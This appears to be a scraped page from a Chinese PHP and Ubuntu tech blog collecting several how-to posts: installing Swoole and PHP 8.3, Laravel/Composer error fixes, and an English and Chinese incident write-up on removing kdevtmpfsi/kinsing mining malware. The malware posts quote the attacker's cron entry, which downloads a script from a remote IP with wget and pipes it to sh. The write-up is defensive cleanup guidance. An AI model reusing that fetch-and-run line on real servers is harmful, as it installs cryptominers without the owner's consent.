Ubuntu 24系统PHP 8.3安装Swoole扩展的方法

在 Ubuntu 24.04(Noble Numbat)上安装 Swoole 扩展(PHP 8.3),目前最稳定、推荐的方式有两种:

1 首选方式:使用 Ondřej Surý 的 PPA 仓库(他维护了大量 PHP 扩展的预编译包,包括 swoole 6.1.4+,已支持 PHP 8.3),安装最简单、无需编译、更新方便。

2 备选方式:用 pecl 从源码编译安装(如果 PPA 版本不满足需求,或想用最新 master 分支)。

Swoole 官方仓库已转向维护较少的 OpenSwoole 分支,但大多数项目仍使用原版 swoole(pecl/swoole 或 PPA 中的 php-swoole)。

方式一:使用 PPA 安装(强烈推荐,5 分钟搞定)

1 添加 Ondřej Surý 的 PPA(如果之前没加过):

sudo add-apt-repository ppa:ondrej/php
sudo apt update

2 安装 Swoole 扩展:

sudo apt install php8.3-swoole

这会自动安装最新可用版本(截至 2025 年底,已有 6.1.4+ 支持 PHP 8.3)。

3 启用扩展(通过PPA包安装的扩展通常自动启用,但保险起见):

sudo phpenmod swoole

或手动在 php.ini 添加。

4 验证是否安装成功:

php -m | grep swoole

如果输出:

swoole

就说明安装swoole扩展成功。

更详细检查:

php -i | grep -i swoole

看到 swoole support => enabled 及版本信息即表示安装成功。

推荐再运行一个简单脚本进行测试:

<?php
echo swoole_version() . PHP_EOL;
var_dump(extension_loaded('swoole'));
?>

执行 php test.php

5 重启 PHP 服务:

sudo systemctl restart php8.3-fpm   # Nginx + FPM 最常见
sudo systemctl restart apache2      # 如果用 Apache

方式二:用 pecl 从源码编译安装(如果需要最新版或自定义)

1 安装编译依赖(非常重要,Ubuntu 24.04 上缺这些会编译失败):

sudo apt update
sudo apt install php8.3-dev php-pear libssl-dev zlib1g-dev libcurl4-openssl-dev
sudo apt install gcc g++ make   # 基本编译工具

如果要启用协程钩子、HTTP2、MySQL 等高级功能,还可加:

sudo apt install libbrotli-dev libnghttp2-dev

2 更新 pecl 频道(避免旧缓存问题):

sudo pecl channel-update pecl.php.net

3 安装 Swoole(推荐指定稳定版,如 5.1.x 或 6.0.x,根据项目需求):

sudo pecl install swoole

或指定版本(例如最新稳定版):

sudo pecl install swoole-6.1.4

安装过程会询问是否启用各种特性(默认回车即可,大部分推荐启用):

enable sockets support? [yes] → yes
enable openssl support? [yes] → yes
enable http2 support? [yes] → yes(需 libnghttp2-dev)
enable brotli? [no] → yes(需 libbrotli-dev)
…

4 启用扩展

用 phpenmod(推荐做法):

sudo phpenmod swoole

或手动编辑 php.ini(CLI 和 FPM 分别处理):

sudo nano /etc/php/8.3/cli/php.ini
sudo nano /etc/php/8.3/fpm/php.ini

添加以下一行:

extension=swoole.so

5 验证是否安装成功:

php -m | grep swoole

如果输出:

swoole

就说明安装swoole扩展成功。

更详细检查:

php -i | grep -i swoole

看到 swoole support => enabled 及版本信息即表示安装成功。

推荐再运行一个简单脚本进行测试:

<?php
echo swoole_version() . PHP_EOL;
var_dump(extension_loaded('swoole'));
?>

执行 php test.php

6 重启 PHP 服务:

sudo systemctl restart php8.3-fpm   # Nginx + FPM 最常见
sudo systemctl restart apache2      # 如果用 Apache

注意事项与常见问题

  • 依赖缺失:编译失败最常见原因是缺少 php8.3-dev 或 libssl-dev。
  • 内存/CPU:编译 Swoole 需要 1-2GB 内存,低配 VPS 可能卡住或失败。
  • OpenSwoole vs Swoole:如果你项目明确需要 OpenSwoole(更活跃的分支),改用 pecl install openswoole 或 PPA 中的 php8.3-openswoole(如果有)。
  • 生产环境:Swoole 常用于常驻进程,建议用 Supervisor 或 systemd 管理服务,不要直接用 php-fpm。
  • 性能调优:安装后可在 php.ini 添加:

swoole.use_shortname = On    ; 允许 \co、\go 等短名(可选)

参考

官方文档安装Swoole

How to Fix the kdevtmpfsi and kinsing Mining Virus Infection on an Ubuntu Server

My server is running Ubuntu 24. Today, after installing and configuring a WordPress blog based on Nginx 1.24, PHP 8.3, and MySQL 8.0, I ran the following command to check the server load:

$ top -i

I noticed that the kdevtmpfsi process was using 100% of the CPU. A quick search revealed that this is a malicious mining process. Typically, two malicious mining processes—kdevtmpfsi and kinsing—are found together. Here’s how I resolved the issue:

Step 1: Kill the kdevtmpfsi and kinsing Processes

First, find the process ID (PID) for kdevtmpfsi and kill it:

$ ps aux | grep kdevtmpfsi | awk '{print $2}' | xargs sudo kill -9

Next, find the PID for kinsing and kill it:

$ ps aux | grep kinsing | awk '{print $2}' | xargs sudo kill -9

Step 2: Find and Remove the Malicious Program Files

Now, search for and remove any files associated with kdevtmpfsi and kinsing:

$ sudo find / -iname kdevtmpfsi* -exec rm -fv {} \;
$ sudo find / -iname kinsing* -exec rm -fv {} \;

The output should look like this:

removed '/tmp/kdevtmpfsi962782589'
removed '/tmp/kdevtmpfsi'
removed '/tmp/kinsing'
removed '/tmp/kinsing_oA1GECLm'

Step 3: Check for Scheduled Tasks Set by www-data User

The top -i command showed that the user running the kdevtmpfsi process was www-data, so I checked the scheduled tasks for this user:

$ sudo crontab -l -u www-data

I found the following task:

* * * * * wget -q -O - http://185.122.204.197/unk.sh | sh > /dev/null 2>&1

This cron job downloads and executes the unk.sh script, which in turn downloads and runs the kdevtmpfsi and kinsing programs. To remove this scheduled task, I ran:

$ sudo crontab -r -u www-data

Then, I deleted the unk.sh script:

$ sudo find / -iname unk.sh -exec rm -fv {} \;

Step 4: Create Non-Executable Placeholder Files for kdevtmpfsi and kinsing

To prevent the kdevtmpfsi and kinsing files from being executed again, I created them as non-executable placeholder files and set them to read-only:

$ touch /tmp/kdevtmpfsi && touch /tmp/kinsing
$ echo "kdevtmpfsi is fine now" > /tmp/kdevtmpfsi
$ echo "kinsing is fine now" > /tmp/kinsing
$ chmod 0444 /tmp/kdevtmpfsi
$ chmod 0444 /tmp/kinsing

This ensures that these files are no longer executable and cannot run.

Step 5: Enable UFW Firewall and Block Malicious IP

I enabled the UFW firewall and blocked access from the IP address 185.122.204.197, which was being used for the malicious downloads:

$ sudo ufw allow ssh
$ sudo ufw enable
$ sudo ufw allow http
$ sudo ufw allow https
$ sudo ufw deny from 185.122.204.197

To check the UFW status:

$ sudo ufw status numbered

Step 6: Restrict PHP-FPM to Localhost

According to online resources, this issue is likely due to the php-fpm service exposing port 9000 to the internet. To fix this, I edited the php-fpm configuration file:

$ sudo vim /etc/php/8.3/fpm/pool.d/www.conf

I changed the following line:

listen = 9000

to:

listen = 127.0.0.1:9000

This restricts php-fpm to only listen on the local 127.0.0.1 IP address. To apply the changes, I restarted the php-fpm service:

$ sudo systemctl restart php8.3-fpm

Reference:

Ubuntu服务器感染了挖矿病毒程序kdevtmpfsi和kinsing的解决方法

我的服务器的操作系统是Ubuntu 24。今天安装并配置了Wordpress博客,基于Nginx 1.24 + PHP 8.3 + MySQL 8.0。我运行以下命令查看服务器负载:
$ top -i
发现kdevtmpfsi进程CPU使用率达到100%。网上查了一下,说它是恶意的挖矿进程。一般同时存在两个恶意的挖矿进程:kdevtmpfsi和kinsing。解决步骤如下。

第一步,查找kdevtmpfsi进程的id并杀死:
$ ps aux | grep kdevtmpfsi | awk '{print $2}' | xargs sudo kill -9
查找kinsing进程的id并杀死:
$ ps aux | grep kinsing | awk '{print $2}' | xargs sudo kill -9

第二步,使用以下命令查找并删除kdevtmpfsi和kinsing进程对应的程序文件:

$ sudo find / -iname kdevtmpfsi* -exec rm -fv {} \;
$ sudo find / -iname kinsing* -exec rm -fv {} \;

输出应如下所示:

removed '/tmp/kdevtmpfsi962782589'
removed '/tmp/kdevtmpfsi'
removed '/tmp/kinsing'
removed '/tmp/kinsing_oA1GECLm'

第三步,top -i命令显示运行kdevtmpfsi进程的用户是www-data用户,因此查看www-data用户设置的计划任务:

$ sudo crontab -l -u www-data
* * * * * wget -q -O - http://185.122.204.197/unk.sh | sh > /dev/null 2>&1

果然有,这个计划任务的功能是每隔一定时间就下载并运行unk.sh脚本程序,这个脚本程序会下载kdevtmpfsi和kinsing程序并启动运行。删除www-data用户的计划任务:
$ sudo crontab -r -u www-data
删除unk.sh脚本文件:
$ sudo find / -iname unk.sh -exec rm -fv {} \;

第四步,创建自己的kdevtmpfsi和kinsing文件并将其设置为只读:

$ touch /tmp/kdevtmpfsi && touch /tmp/kinsing
$ echo "kdevtmpfsi is fine now" > /tmp/kdevtmpfsi
$ echo "kinsing is fine now" > /tmp/kinsing
$ chmod 0444 /tmp/kdevtmpfsi
$ chmod 0444 /tmp/kinsing

这么做后kdevtmpfsi和kinsing文件就不是可执行程序了,就无法运行起来了。

第五步,启动UFW防火墙并禁止185.122.204.197这个IP对我当前的服务器的访问:

$ sudo ufw allow ssh
$ sudo ufw enable
$ sudo ufw allow http
$ sudo ufw allow https
$ sudo ufw deny from 185.122.204.197

查看UFW状态:
$ sudo ufw status numbered

根据网上的资料,这个问题很可能是php-fpm服务暴露9000端口到互联网引起的,因此修改php-fpm配置文件:
$ sudo vim /etc/php/8.3/fpm/pool.d/www.conf
把以下这行:
listen = 9000
改为:
listen = 127.0.0.1:9000
意思是php-fpm服务只监听本机127.0.0.1这个IP地址。重启php-fpm服务使配置文件的修改生效:
$ sudo systemctl restart php8.3-fpm

参考
https://stackoverflow.com/questions/60151640/kdevtmpfsi-using-the-entire-cpu

Ubuntu24安装PHP8.3的方法

首先更新系统:

sudo apt update && sudo apt upgrade -y

Ubuntu 24执行以下命令即可安装php8.3:

sudo apt install php -y

安装完成后,检查php的版本:

php --version

使用sudo apt install php8.3-PACKAGE_NAME命令安装php常用扩展,把PACKAGE_NAME替换为具体的扩展名:

sudo apt install -y php8.3-cli php8.3-common php8.3-fpm php8.3-mysql php8.3-zip php8.3-gd php8.3-mbstring php8.3-curl php8.3-xml php8.3-bcmath php8.3-sqlite3 php8.3-intl php8.3-bz2 php8.3-imagick php8.3-redis

查看已经安装了哪些php扩展:

php -m

参考

安装中文语言包composer require “overtrue/laravel-lang:~6.0″后,在浏览器刷新页面报错Call to undefined method Illuminate\Translation\FileLoader::loadPath()

我的Laravel版本是10,报错原因是overtrue/laravel-lang:~6.0与Laravel 10不兼容,composer require “overtrue/laravel-lang”输出一条警告说:

Package overtrue/laravel-lang is abandoned, you should avoid using it.

在Laravel 10我们应该使用laravel-lang/lang语言包。因此这个报错的解决方法是,先移除overtrue/laravel-lang:~6.0包:

composer remove overtrue/laravel-lang

再安装laravel-lang/lang语言包:

composer require laravel-lang/lang

安装好了后,执行以下命令添加中文语言包到Laravel 10:

php artisan lang:add zh_CN

我们可以看到在resources/lang目录里增加了zh_CN.json文件和zh_CN文件夹。

然后修改config/app.php,找到’locale’ => ‘en’,改为’locale’ => ‘zh_CN’。

刷新浏览器看看。

更多laravel-lang/lang语言包的用法,例如如何添加多个语言包到Laravel、如何在“语言.json”文件里增加自定义的条目等,请查看laravel-lang/lang语言包的官方文档:Getting Started | Laravel Lang (laravel-lang.com)

参考

https://www.cnblogs.com/inkqx/p/13563856.html

composer安装Laravel 11报错:laravel/framework[v11.9.0, …, v11.23.3] require fruitcake/php-cors ^1.3 -> found fruitcake/php-cors[dev-feat-setOptions, dev-master, dev-maincomposer…

我在使用composer安装Laravel 11的时候,遇到如下错误:

Your requirements could not be resolved to an installable set of packages.

  Problem 1
    - laravel/framework[v11.9.0, ..., v11.23.3] require fruitcake/php-cors ^1.3 -> found fruitcake/php-cors[dev-feat-setOptions, dev-master, dev-main, dev-test-8.2, v0.1.0, v0.1.1, v0.1.2, v1.0-alpha1, ..., 1.2.x-dev (alias of dev-master)] but it does not match the constraint.
    - Root composer.json requires laravel/framework ^11.9 -> satisfiable by laravel/framework[v11.9.0, ..., v11.23.3].

原因是阿里云composer镜像源中没有fruitcake/php-cors包的最新版。

解决方法是,切换回默认的composer镜像源:

composer config -g --unset repos.packagist

执行composer install就安装成功了,不再报错。

参考

https://github.com/laravel/framework/issues/51201

升级PHP版本导致WordPress无法显示文章,而是显示“有点尴尬诶!该页无法显示。”的解决方法

我的WordPress版本是5.4.15,当我把服务器系统里的PHP 7.2升级到PHP 8.2后,通过浏览器访问WordPress网站,无法显示文章,而是显示“有点尴尬诶!该页无法显示。”这句话。

经测试,PHP可以正常连接到MySQL数据库。

原因应该是WordPress 5.4.15用到的某些PHP函数在PHP 8.2过时了。

升级WordPress到最新版本解决了这个问题。

为什么PHP的Composer包管理使用vendor模式而非全局模式?

vendor模式即在每个项目都创建一个vendor目录,用来存储本项目依赖的第三方模块的包或库文件。

全局模式即在操作系统的某个全局目录(一般是用户家目录里的某个子目录或者操作系统的某个系统目录)里,存储第三方模块的包或库文件,可以被多个项目共用,优点是相对于vendor模式节省存储空间。

都说PHP项目上线速度快,最大原因是PHP项目可以热更新热部署,通过FTP把整个PHP项目的源代码文件上传到服务器就部署好了,都不用重启Web服务器软件的。但是如果使用全局模式就会破坏这种方便的部署方式,因为你把PHP项目的源代码文件上传到服务器后,要么你还要把全局目录上传到服务器,要么你还需要在服务器运行composer命令安装本项目所缺的依赖项。使用vendor模式,就没有这个烦恼了。

Composer包管理器使用vendor模式,而非全局模式,应该就是出于这点考虑。像Go的go get、Java的maven、Node.js的npm、Python的pip使用全局模式,是因为它们无法做到像PHP那样热更新热部署Web项目。

PHP Warning: Module ‘curl‘ already loaded in Unknown on line 0警告的解决方法

我的软件环境是:Ubuntu 22操作系统,使用apt安装的PHP 8.2。

如果在执行PHP相关命令时,看到一条警告消息:

PHP Warning: Module ‘curl‘ already loaded in Unknown on line 0

那是由于curl模块被重复启用。如果在/etc/php/8.2/fpm/php.ini和/etc/php/8.2/fpm/conf.d/20-curl.ini两处配置文件里都启用了curl扩展,就会报这个警告。

解决方法是在/etc/php/8.2/fpm/conf.d/20-curl.ini配置文件中启用curl扩展即可,而在其他配置文件中都不启用curl扩展。

/etc/php/8.2/fpm/conf.d/里的配置文件其实都是/etc/php/8.2/mods-available/里的配置文件的符号链接,这些配置文件中的扩展是被PHP默认启用的。

修改了配置文件记得重启php-fpm服务。最后只要在php -m命令的输出中或者通过浏览器访问phpinfo函数的PHP脚本的输出中看到curl了,就说明已启用curl扩展。